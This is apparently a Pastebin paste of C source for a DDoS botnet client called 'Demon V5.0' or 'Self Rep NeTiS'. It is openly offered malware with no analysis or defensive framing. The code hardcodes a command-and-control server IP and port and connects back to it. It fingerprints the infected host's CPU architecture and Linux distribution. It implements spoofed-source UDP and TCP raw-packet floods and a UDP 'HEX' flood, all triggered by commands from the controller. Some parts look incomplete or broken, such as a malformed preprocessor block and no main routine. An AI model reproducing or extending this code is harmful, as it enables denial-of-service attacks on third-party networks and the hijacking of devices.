Advertisement
Self-Rep-NeTiS

DemonV5Bot

Mar 11th, 2019
816
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 32.41 KB | None | 0 0
  1. /////////////////////////////////
  2. //[ Demon V5.0 ] Self Rep NeTiS/
  3. ///////////////////////////////
  4. #include <stdlib.h>
  5. #include <stdarg.h>
  6. #include <stdio.h>
  7. #include <sys/socket.h>
  8. #include <sys/types.h>
  9. #include <netinet/in.h>
  10. #include <arpa/inet.h>
  11. #include <netdb.h>
  12. #include <signal.h>
  13. #include <strings.h>
  14. #include <string.h>
  15. #include <sys/utsname.h>
  16. #include <unistd.h>
  17. #include <fcntl.h>
  18. #include <errno.h>
  19. #include <netinet/ip.h>
  20. #include <netinet/udp.h>
  21. #include <netinet/tcp.h>
  22. #include <sys/wait.h>
  23. #include <sys/ioctl.h>
  24. #include <net/if.h>
  25. //////////////////////////////////
  26. #define SERVER_LIST_SIZE (sizeof(Demonserv) / sizeof(unsigned char *))
  27. #define PAD_RIGHT 1
  28. #define PAD_ZERO 2
  29. #define PRINT_BUF_LEN 12
  30. #define OPT_SGA 3
  31. #define BUFFER_SIZE 512
  32. /////////////////////////////////////////
  33. unsigned char *Demonserv[] = {"185.222.202.76:666"};
  34. /////////////////////////////////////////
  35. int initConnection();
  36. void makeRandomStr(unsigned char *buf, int length);
  37. int sockprintf(int sock, char *formatStr, ...);
  38. char *inet_ntoa(struct in_addr in);
  39. int Demonicsock = 0, currentServer = -1, gotIP = 0;
  40. uint32_t *pids;
  41. uint64_t numpids = 0;
  42. struct in_addr ourIP;
  43. #define PHI 0x9e3779b9
  44. static uint32_t Q[4096], c = 362436;
  45. unsigned char macAddress[6] = {0};
  46. ////////////////////////////////////////
  47. void init_rand(uint32_t x)
  48. {
  49. int i;
  50.  
  51. Q[0] = x;
  52. Q[1] = x + PHI;
  53. Q[2] = x + PHI + PHI;
  54.  
  55. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  56. }
  57. uint32_t rand_cmwc(void)
  58. {
  59. uint64_t t, a = 18782LL;
  60. static uint32_t i = 4095;
  61. uint32_t x, r = 0xfffffffe;
  62. i = (i + 1) & 4095;
  63. t = a * Q[i] + c;
  64. c = (uint32_t)(t >> 32);
  65. x = t + c;
  66. if (x < c) {
  67. x++;
  68. c++;
  69. }
  70. return (Q[i] = r - x);
  71. }
  72. in_addr_t getRandomIP(in_addr_t netmask) {
  73. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  74. return tmp ^ ( rand_cmwc() & ~netmask);
  75. }
  76. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  77. {
  78. int got = 1, total = 0;
  79. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  80. return got == 0 ? NULL : buffer;
  81. }
  82. int getOurIP()
  83. {
  84. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  85. if(sock == -1) return 0;
  86.  
  87. struct sockaddr_in serv;
  88. memset(&serv, 0, sizeof(serv));
  89. serv.sin_family = AF_INET;
  90. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  91. serv.sin_port = htons(53);
  92.  
  93. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  94. if(err == -1) return 0;
  95.  
  96. struct sockaddr_in name;
  97. socklen_t namelen = sizeof(name);
  98. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  99. if(err == -1) return 0;
  100.  
  101. ourIP.s_addr = name.sin_addr.s_addr;
  102. int cmdline = open("/proc/net/route", O_RDONLY);
  103. char linebuf[4096];
  104. while(fdgets(linebuf, 4096, cmdline) != NULL)
  105. {
  106. if(strstr(linebuf, "\t00000000\t") != NULL)
  107. {
  108. unsigned char *pos = linebuf;
  109. while(*pos != '\t') pos++;
  110. *pos = 0;
  111. break;
  112. }
  113. memset(linebuf, 0, 4096);
  114. }
  115. close(cmdline);
  116.  
  117. if(*linebuf)
  118. {
  119. int i;
  120. struct ifreq ifr;
  121. strcpy(ifr.ifr_name, linebuf);
  122. ioctl(sock, SIOCGIFHWADDR, &ifr);
  123. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  124. }
  125.  
  126. close(sock);
  127. }
  128. void trim(char *str)
  129. {
  130. int i;
  131. int begin = 0;
  132. int end = strlen(str) - 1;
  133.  
  134. while (isspace(str[begin])) begin++;
  135.  
  136. while ((end >= begin) && isspace(str[end])) end--;
  137. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  138.  
  139. str[i - begin] = '\0';
  140. }
  141.  
  142. static void printchar(unsigned char **str, int c)
  143. {
  144. if (str) {
  145. **str = c;
  146. ++(*str);
  147. }
  148. else (void)write(1, &c, 1);
  149. }
  150.  
  151. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  152. {
  153. register int pc = 0, padchar = ' ';
  154.  
  155. if (width > 0) {
  156. register int len = 0;
  157. register const unsigned char *ptr;
  158. for (ptr = string; *ptr; ++ptr) ++len;
  159. if (len >= width) width = 0;
  160. else width -= len;
  161. if (pad & PAD_ZERO) padchar = '0';
  162. }
  163. if (!(pad & PAD_RIGHT)) {
  164. for ( ; width > 0; --width) {
  165. printchar (out, padchar);
  166. ++pc;
  167. }
  168. }
  169. for ( ; *string ; ++string) {
  170. printchar (out, *string);
  171. ++pc;
  172. }
  173. for ( ; width > 0; --width) {
  174. printchar (out, padchar);
  175. ++pc;
  176. }
  177.  
  178. return pc;
  179. }
  180.  
  181. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  182. {
  183. unsigned char print_buf[PRINT_BUF_LEN];
  184. register unsigned char *s;
  185. register int t, neg = 0, pc = 0;
  186. register unsigned int u = i;
  187.  
  188. if (i == 0) {
  189. print_buf[0] = '0';
  190. print_buf[1] = '\0';
  191. return prints (out, print_buf, width, pad);
  192. }
  193.  
  194. if (sg && b == 10 && i < 0) {
  195. neg = 1;
  196. u = -i;
  197. }
  198.  
  199. s = print_buf + PRINT_BUF_LEN-1;
  200. *s = '\0';
  201.  
  202. while (u) {
  203. t = u % b;
  204. if( t >= 10 )
  205. t += letbase - '0' - 10;
  206. *--s = t + '0';
  207. u /= b;
  208. }
  209.  
  210. if (neg) {
  211. if( width && (pad & PAD_ZERO) ) {
  212. printchar (out, '-');
  213. ++pc;
  214. --width;
  215. }
  216. else {
  217. *--s = '-';
  218. }
  219. }
  220.  
  221. return pc + prints (out, s, width, pad);
  222. }
  223.  
  224. static int print(unsigned char **out, const unsigned char *format, va_list args )
  225. {
  226. register int width, pad;
  227. register int pc = 0;
  228. unsigned char scr[2];
  229.  
  230. for (; *format != 0; ++format) {
  231. if (*format == '%') {
  232. ++format;
  233. width = pad = 0;
  234. if (*format == '\0') break;
  235. if (*format == '%') goto out;
  236. if (*format == '-') {
  237. ++format;
  238. pad = PAD_RIGHT;
  239. }
  240. while (*format == '0') {
  241. ++format;
  242. pad |= PAD_ZERO;
  243. }
  244. for ( ; *format >= '0' && *format <= '9'; ++format) {
  245. width *= 10;
  246. width += *format - '0';
  247. }
  248. if( *format == 's' ) {
  249. register char *s = (char *)va_arg( args, int );
  250. pc += prints (out, s?s:"(null)", width, pad); // this to
  251. continue;
  252. }
  253. if( *format == 'd' ) {
  254. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  255. continue;
  256. }
  257. if( *format == 'x' ) {
  258. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  259. continue;
  260. }
  261. if( *format == 'X' ) {
  262. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  263. continue;
  264. }
  265. if( *format == 'u' ) {
  266. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  267. continue;
  268. }
  269. if( *format == 'c' ) {
  270. scr[0] = (unsigned char)va_arg( args, int );
  271. scr[1] = '\0';
  272. pc += prints (out, scr, width, pad);
  273. continue;
  274. }
  275. }
  276. else {
  277. out:
  278. printchar (out, *format);
  279. ++pc;
  280. }
  281. }
  282. if (out) **out = '\0';
  283. va_end( args );
  284. return pc;
  285. }
  286. int sockprintf(int sock, char *formatStr, ...)
  287. {
  288. unsigned char *textBuffer = malloc(2048);
  289. memset(textBuffer, 0, 2048);
  290. char *orig = textBuffer;
  291. va_list args;
  292. va_start(args, formatStr);
  293. print(&textBuffer, formatStr, args);
  294. va_end(args);
  295. orig[strlen(orig)] = '\n';
  296. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  297. free(orig);
  298. return q;
  299. }
  300.  
  301. int getHost(unsigned char *toGet, struct in_addr *i)
  302. {
  303. struct hostent *h;
  304. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  305. return 0;
  306. }
  307.  
  308. void makeRandomStr(unsigned char *buf, int length)
  309. {
  310. int i = 0;
  311. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  312. }
  313.  
  314. int recvLine(int socket, unsigned char *buf, int bufsize)
  315. {
  316. memset(buf, 0, bufsize);
  317. fd_set myset;
  318. struct timeval tv;
  319. tv.tv_sec = 30;
  320. tv.tv_usec = 0;
  321. FD_ZERO(&myset);
  322. FD_SET(socket, &myset);
  323. int selectRtn, retryCount;
  324. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  325. while(retryCount < 10)
  326. {
  327. tv.tv_sec = 30;
  328. tv.tv_usec = 0;
  329. FD_ZERO(&myset);
  330. FD_SET(socket, &myset);
  331. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  332. retryCount++;
  333. continue;
  334. }
  335. break;
  336. }
  337. }
  338. unsigned char tmpchr;
  339. unsigned char *cp;
  340. int count = 0;
  341. cp = buf;
  342. while(bufsize-- > 1)
  343. {
  344. if(recv(Demonicsock, &tmpchr, 1, 0) != 1) {
  345. *cp = 0x00;
  346. return -1;
  347. }
  348. *cp++ = tmpchr;
  349. if(tmpchr == '\n') break;
  350. count++;
  351. }
  352. *cp = 0x00;
  353. return count;
  354. }
  355.  
  356. int connectTimeout(int fd, char *host, int port, int timeout)
  357. {
  358. struct sockaddr_in dest_addr;
  359. fd_set myset;
  360. struct timeval tv;
  361. socklen_t lon;
  362.  
  363. int valopt;
  364. long arg = fcntl(fd, F_GETFL, NULL);
  365. arg |= O_NONBLOCK;
  366. fcntl(fd, F_SETFL, arg);
  367.  
  368. dest_addr.sin_family = AF_INET;
  369. dest_addr.sin_port = htons(port);
  370. if(getHost(host, &dest_addr.sin_addr)) return 0;
  371. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  372. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  373.  
  374. if (res < 0) {
  375. if (errno == EINPROGRESS) {
  376. tv.tv_sec = timeout;
  377. tv.tv_usec = 0;
  378. FD_ZERO(&myset);
  379. FD_SET(fd, &myset);
  380. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  381. lon = sizeof(int);
  382. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  383. if (valopt) return 0;
  384. }
  385. else return 0;
  386. }
  387. else return 0;
  388. }
  389.  
  390. arg = fcntl(fd, F_GETFL, NULL);
  391. arg &= (~O_NONBLOCK);
  392. fcntl(fd, F_SETFL, arg);
  393.  
  394. return 1;
  395. }
  396. int listFork()
  397. {
  398. uint32_t parent, *newpids, i;
  399. parent = fork();
  400. if (parent <= 0) return parent;
  401. numpids++;
  402. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  403. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  404. newpids[numpids - 1] = parent;
  405. free(pids);
  406. pids = newpids;
  407. return parent;
  408. }
  409.  
  410. unsigned short csum (unsigned short *buf, int count)
  411. {
  412. register uint64_t sum = 0;
  413. while( count > 1 ) { sum += *buf++; count -= 2; }
  414. if(count > 0) { sum += *(unsigned char *)buf; }
  415. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  416. return (uint16_t)(~sum);
  417. }
  418.  
  419. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  420. {
  421.  
  422. struct tcp_pseudo
  423. {
  424. unsigned long src_addr;
  425. unsigned long dst_addr;
  426. unsigned char zero;
  427. unsigned char proto;
  428. unsigned short length;
  429. } pseudohead;
  430. unsigned short total_len = iph->tot_len;
  431. pseudohead.src_addr=iph->saddr;
  432. pseudohead.dst_addr=iph->daddr;
  433. pseudohead.zero=0;
  434. pseudohead.proto=IPPROTO_TCP;
  435. pseudohead.length=htons(sizeof(struct tcphdr));
  436. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  437. unsigned short *tcp = malloc(totaltcp_len);
  438. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  439. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  440. unsigned short output = csum(tcp,totaltcp_len);
  441. free(tcp);
  442. return output;
  443. }
  444. uint16_t checksum_tcp_udp(struct iphdr *iph, void *buff, uint16_t data_len, int len)
  445. {
  446. const uint16_t *buf = buff;
  447. uint32_t ip_src = iph->saddr;
  448. uint32_t ip_dst = iph->daddr;
  449. uint32_t sum = 0;
  450. int length = len;
  451.  
  452. while (len > 1)
  453. {
  454. sum += *buf;
  455. buf++;
  456. len -= 2;
  457. }
  458.  
  459. if (len == 1)
  460. sum += *((uint8_t *) buf);
  461.  
  462. sum += (ip_src >> 16) & 0xFFFF;
  463. sum += ip_src & 0xFFFF;
  464. sum += (ip_dst >> 16) & 0xFFFF;
  465. sum += ip_dst & 0xFFFF;
  466. sum += htons(iph->protocol);
  467. sum += data_len;
  468.  
  469. while (sum >> 16)
  470. sum = (sum & 0xFFFF) + (sum >> 16);
  471.  
  472. return ((uint16_t) (~sum));
  473. }
  474. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  475. {
  476. iph->ihl = 5;
  477. iph->version = 4;
  478. iph->tos = 0;
  479. iph->tot_len = sizeof(struct iphdr) + packetSize;
  480. iph->id = rand_cmwc();
  481. iph->frag_off = 0;
  482. iph->ttl = MAXTTL;
  483. iph->protocol = protocol;
  484. iph->check = 0;
  485. iph->saddr = source;
  486. iph->daddr = dest;
  487. }
  488.  
  489. void audp(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  490. {
  491. struct sockaddr_in dest_addr;
  492.  
  493. dest_addr.sin_family = AF_INET;
  494. if(port == 0) dest_addr.sin_port = rand_cmwc();
  495. else dest_addr.sin_port = htons(port);
  496. if(getHost(target, &dest_addr.sin_addr)) return;
  497. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  498.  
  499. register unsigned int pollRegister;
  500. pollRegister = pollinterval;
  501.  
  502. if(spoofit == 32)
  503. {
  504. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  505. if(!sockfd)
  506. {
  507. return;
  508. }
  509.  
  510. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  511. if(buf == NULL) return;
  512. memset(buf, 0, packetsize + 1);
  513. makeRandomStr(buf, packetsize);
  514.  
  515. int end = time(NULL) + timeEnd;
  516. register unsigned int i = 0;
  517. while(1)
  518. {
  519. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  520.  
  521. if(i == pollRegister)
  522. {
  523. if(port == 0) dest_addr.sin_port = rand_cmwc();
  524. if(time(NULL) > end) break;
  525. i = 0;
  526. continue;
  527. }
  528. i++;
  529. }
  530. } else {
  531. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  532. if(!sockfd)
  533. {
  534. return;
  535. }
  536.  
  537. int tmp = 1;
  538. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  539. {
  540. return;
  541. }
  542.  
  543. int counter = 50;
  544. while(counter--)
  545. {
  546. srand(time(NULL) ^ rand_cmwc());
  547. init_rand(rand());
  548. }
  549.  
  550. in_addr_t netmask;
  551.  
  552. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  553. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  554.  
  555. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  556. struct iphdr *iph = (struct iphdr *)packet;
  557. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  558.  
  559. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  560.  
  561. udph->len = htons(sizeof(struct udphdr) + packetsize);
  562. udph->source = rand_cmwc();
  563. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  564. udph->check = 0;
  565.  
  566. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  567.  
  568. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  569.  
  570. int end = time(NULL) + timeEnd;
  571. register unsigned int i = 0;
  572. while(1)
  573. {
  574. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  575.  
  576. udph->source = rand_cmwc();
  577. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  578. iph->id = rand_cmwc();
  579. iph->saddr = htonl( getRandomIP(netmask) );
  580. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  581.  
  582. if(i == pollRegister)
  583. {
  584. if(time(NULL) > end) break;
  585. i = 0;
  586. continue;
  587. }
  588. i++;
  589. }
  590. }
  591. }
  592.  
  593. void atcp(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  594. {
  595. register unsigned int pollRegister;
  596. pollRegister = pollinterval;
  597.  
  598. struct sockaddr_in dest_addr;
  599.  
  600. dest_addr.sin_family = AF_INET;
  601. if(port == 0) dest_addr.sin_port = rand_cmwc();
  602. else dest_addr.sin_port = htons(port);
  603. if(getHost(target, &dest_addr.sin_addr)) return;
  604. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  605.  
  606. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  607. if(!sockfd)
  608. {
  609. return;
  610. }
  611.  
  612. int tmp = 1;
  613. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  614. {
  615. return;
  616. }
  617.  
  618. in_addr_t netmask;
  619.  
  620. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  621. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  622.  
  623. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  624. struct iphdr *iph = (struct iphdr *)packet;
  625. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  626.  
  627. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  628.  
  629. tcph->source = rand_cmwc();
  630. tcph->seq = rand_cmwc();
  631. tcph->ack_seq = 0;
  632. tcph->doff = 5;
  633.  
  634. if(!strcmp(flags, "all"))
  635. {
  636. tcph->syn = 1;
  637. tcph->rst = 1;
  638. tcph->fin = 1;
  639. tcph->ack = 1;
  640. tcph->psh = 1;
  641. } else {
  642. unsigned char *pch = strtok(flags, ",");
  643. while(pch)
  644. {
  645. if(!strcmp(pch, "syn"))
  646. {
  647. tcph->syn = 1;
  648. } else if(!strcmp(pch, "rst"))
  649. {
  650. tcph->rst = 1;
  651. } else if(!strcmp(pch, "fin"))
  652. {
  653. tcph->fin = 1;
  654. } else if(!strcmp(pch, "ack"))
  655. {
  656. tcph->ack = 1;
  657. } else if(!strcmp(pch, "psh"))
  658. {
  659. tcph->psh = 1;
  660. } else {
  661. }
  662. pch = strtok(NULL, ",");
  663. }
  664. }
  665.  
  666. tcph->window = rand_cmwc();
  667. tcph->check = 0;
  668. tcph->urg_ptr = 0;
  669. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  670. tcph->check = tcpcsum(iph, tcph);
  671.  
  672. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  673.  
  674. int end = time(NULL) + timeEnd;
  675. register unsigned int i = 0;
  676. while(1)
  677. {
  678. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  679.  
  680. iph->saddr = htonl( getRandomIP(netmask) );
  681. iph->id = rand_cmwc();
  682. tcph->seq = rand_cmwc();
  683. tcph->source = rand_cmwc();
  684. tcph->check = 0;
  685. tcph->check = tcpcsum(iph, tcph);
  686. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  687.  
  688. if(i == pollRegister)
  689. {
  690. if(time(NULL) > end) break;
  691. i = 0;
  692. continue;
  693. }
  694. i++;
  695. }
  696. }
  697.  
  698.  
  699. void astd(unsigned char *ip, int port, int secs, int packetsize)
  700. {
  701. int std_hex;
  702. std_hex = socket(AF_INET, SOCK_DGRAM, 0);
  703. time_t start = time(NULL);
  704. struct sockaddr_in sin;
  705. struct hostent *hp;
  706. hp = gethostbyname(ip);
  707. bzero((char*) &sin,sizeof(sin));
  708. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  709. sin.sin_family = hp->h_addrtype;
  710. sin.sin_port = port;
  711. unsigned int a = 0;
  712. while(1)
  713. { //change it if u want
  714. char *hexstring[] = {"\x53\x65\x6c\x66\x20\x52\x65\x70\x20\x46\x75\x63\x6b\x69\x6e\x67\x20\x4e\x65\x54\x69\x53\x20\x61\x6e\x64\x20\x54\x68\x69\x73\x69\x74\x79\x20\x30\x6e\x20\x55\x72\x20\x46\x75\x43\x6b\x49\x6e\x47\x20\x46\x6f\x52\x65\x48\x65\x41\x64\x20\x57\x65\x20\x42\x69\x47\x20\x4c\x33\x33\x54\x20\x48\x61\x78\x45\x72\x53\x0a"};
  715. if (a >= 50)
  716. {
  717. send(std_hex, hexstring, packetsize, 0);
  718. connect(std_hex,(struct sockaddr *) &sin, sizeof(sin));
  719. if (time(NULL) >= start + secs)
  720. {
  721. close(std_hex);
  722. _exit(0);
  723. }
  724. a = 0;
  725. }
  726. a++;
  727. }
  728. }
  729. char *defarchs() {
  730. #if defined(__x86_64__) || defined(__amd64__) || defined(__amd64) || defined(__x86_64) || defined(_M_X64) || defined(_M_AMD64)
  731. return "x86_64";
  732. #elif defined(__X86__) || defined(_X86_) || defined(i386) || defined(__i386__) || defined(__i386) || defined(__i686__) || defined(__i586__) || defined(__i486__)
  733. return "x86_32";
  734. #elif defined(__aarch64__)
  735. return "64";
  736. #elif defined (__ARM_ARCH_5__) || defined(__ARM_ARCH_5E__) || defined(__ARM_ARCH_5T__) || defined(__ARM_ARCH_5TE__) || defined(__ARM_ARCH_5TEJ__)
  737. return "ARM5";
  738. #elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T) || defined(__ARM_ARCH_3__) || defined(__ARM_ARCH_3M__)
  739. return "ARM4";
  740. #elif defined(__ARM_ARCH_6__) || defined(__ARM_ARCH_6J__) || defined(__ARM_ARCH_6K__) || defined(__ARM_ARCH_6Z__) || defined(__ARM_ARCH_6ZK__) || defined(__ARM_ARCH_6M_) || defined(__ARM_ARCH_6T2__)
  741. return "ARM6";
  742. #elif defined(__ARM_ARCH_7__) || defined(__ARM_ARCH_7A__) || defined(__ARM_ARCH_7R__) || defined(__ARM_ARCH_7M__) || defined(__ARM_ARCH_7S__)
  743. return "ARM7";
  744. #elif defined(__BIG_ENDIAN__) || defined(__MIPSEB) || defined(__MIPSEB__) || defined(__MIPS__)
  745. return "MIPS";
  746. #elif defined(__LITTLE_ENDIAN__) || defined(_MIPSEL) || defined(__MIPSEL) || defined(__MIPSEL__)
  747. return "MIPSEL";
  748. #elif defined(__sh__) || defined(__sh1__) || defined(__sh2__) || defined(__sh3__) || defined(__SH3__) || defined(__SH4__) || defined(__SH5__)
  749. return "SH4";
  750. #elif defined(__powerpc) || defined(__powerpc__) || defined(__powerpc64__) || defined(__POWERPC__) || defined(__ppc__) || defined(__ppc64__) || defined(_M_PPC) || defined(_ARCH_PPC) || defined(_ARCH_PPC64) || defined(__ppc)
  751. return "PPC";
  752. #elif defined(__sparc__) || defined(__sparc)
  753. return "SPARC";
  754. #elif defined(__m68k__) || defined(__MC68K__)
  755. return "M68k";
  756. #else
  757. return "Unknown";
  758. #endif
  759. }
  760. char *defopsys() {
  761. #if defined(__gnu_linux__) || defined(__linux__) || defined(linux) || defined(__linux)
  762. return "Linux";
  763. #elif defined(__WINDOWS__)
  764. return "Windows";
  765. #elif defined(__gnu_linux__) || defined(__linux__) || defined(linux) || defined(__linux) || defined(__ANDROID__)
  766. return "Android"
  767. else
  768. return "Unknown";
  769. #endif
  770. }
  771. char *defpkgs()
  772. {
  773. if(access("/usr/bin/apt-get", F_OK) != -1){
  774. return "Ubuntu";
  775. }
  776. if(access("/usr/lib/portage", F_OK) != -1){
  777. return "Gentoo";
  778. }
  779. if(access("/usr/bin/yum", F_OK) != -1){
  780. return "CentOS";
  781. }
  782. if(access("/usr/share/YaST2", F_OK) != -1){
  783. return "OpenSUSE";
  784. }
  785. if(access("/usr/local/etc/pkg", F_OK) != -1){
  786. return "FreeBSD";
  787. }
  788. if(access("/etc/dropbear/", F_OK) != -1){
  789. return "Dropbear";
  790. }
  791. if(access("/etc/opkg", F_OK) != -1){
  792. return "OpenWRT";
  793. }
  794. else {
  795. return "Unknown Distro";
  796. }
  797. }
  798. void cncinput(int argc, unsigned char * argv[]) {
  799. if (!strcmp(argv[0], "UDP")) {
  800. if (argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65536 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1)) {
  801. return;
  802. }
  803.  
  804. unsigned char * ip = argv[1];
  805. int port = atoi(argv[2]);
  806. int time = atoi(argv[3]);
  807. int spoofed = atoi(argv[4]);
  808. int packetsize = atoi(argv[5]);
  809. int pollinterval = (argc > 6 ? atoi(argv[6]) : 1000);
  810. if (strstr(ip, ",") != NULL) {
  811. unsigned char * hi = strtok(ip, ",");
  812. while (hi != NULL) {
  813. if (!listFork()) {
  814. audp(hi, port, time, spoofed, packetsize, pollinterval);
  815. _exit(0);
  816. }
  817. hi = strtok(NULL, ",");
  818. }
  819. } else {
  820. if (!listFork()) {
  821. audp(ip, port, time, spoofed, packetsize, pollinterval);
  822. _exit(0);
  823. }
  824. }
  825. return;
  826. }
  827.  
  828. if (!strcmp(argv[0], "TCP")) {
  829. if (argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1)) {
  830. return;
  831. }
  832.  
  833. unsigned char *ip = argv[1];
  834. int port = atoi(argv[2]);
  835. int time = atoi(argv[3]);
  836. int spoofed = atoi(argv[4]);
  837. unsigned char *flags = argv[5];
  838.  
  839. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  840. int psize = argc > 6 ? atoi(argv[6]) : 0;
  841.  
  842. if (strstr(ip, ",") != NULL) {
  843. unsigned char * hi = strtok(ip, ",");
  844. while (hi != NULL) {
  845. if (!listFork()) {
  846. atcp(hi, port, time, spoofed, flags, psize, pollinterval);
  847. _exit(0);
  848. }
  849. hi = strtok(NULL, ",");
  850. }
  851. } else {
  852. if (!listFork()) {
  853. atcp(ip, port, time, spoofed, flags, psize, pollinterval);
  854. _exit(0);
  855. }
  856. }
  857. return;
  858. }
  859. if(!strcmp(argv[0], "HEX"))
  860. {
  861. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1 || atoi(argv[4]) < 1)
  862. {
  863. return;
  864. }
  865. unsigned char *ip = argv[1];
  866. int port = atoi(argv[2]);
  867. int time = atoi(argv[3]);
  868. int packetsize = atoi(argv[4]);
  869. if(strstr(ip, ",") != NULL)
  870. {
  871. unsigned char *hi = strtok(ip, ",");
  872. while(hi != NULL)
  873. {
  874. if(!listFork())
  875. {
  876. astd(hi, port, time, packetsize);
  877. _exit(0);
  878. }
  879. hi = strtok(NULL, ",");
  880. }
  881. } else {
  882. if (listFork()) { return; }
  883. astd(ip, port, time, packetsize);
  884. _exit(0);
  885. }
  886. }
  887. if(!strcmp(argv[0], "STOP"))
  888. {
  889. int killed = 0;
  890. unsigned long i;
  891. for (i = 0; i < numpids; i++) {
  892. if (pids[i] != 0 && pids[i] != getpid()) {
  893. kill(pids[i], 9);
  894. killed++;
  895. }
  896. }
  897.  
  898. if(killed > 0)
  899. {
  900. } else {
  901. }
  902.  
  903. }}
  904. int initConnection()
  905. {
  906. unsigned char server[512];
  907. memset(server, 0, 512);
  908. if(Demonicsock) { close(Demonicsock); Demonicsock = 0; }
  909. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  910. else currentServer++;
  911.  
  912. strcpy(server, Demonserv[currentServer]);
  913. int port = 6982;
  914. if(strchr(server, ':') != NULL)
  915. {
  916. port = atoi(strchr(server, ':') + 1);
  917. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  918. }
  919.  
  920. Demonicsock = socket(AF_INET, SOCK_STREAM, 0);
  921.  
  922. if(!connectTimeout(Demonicsock, server, port, 30)) return 1;
  923.  
  924. return 0;
  925. }
  926.  
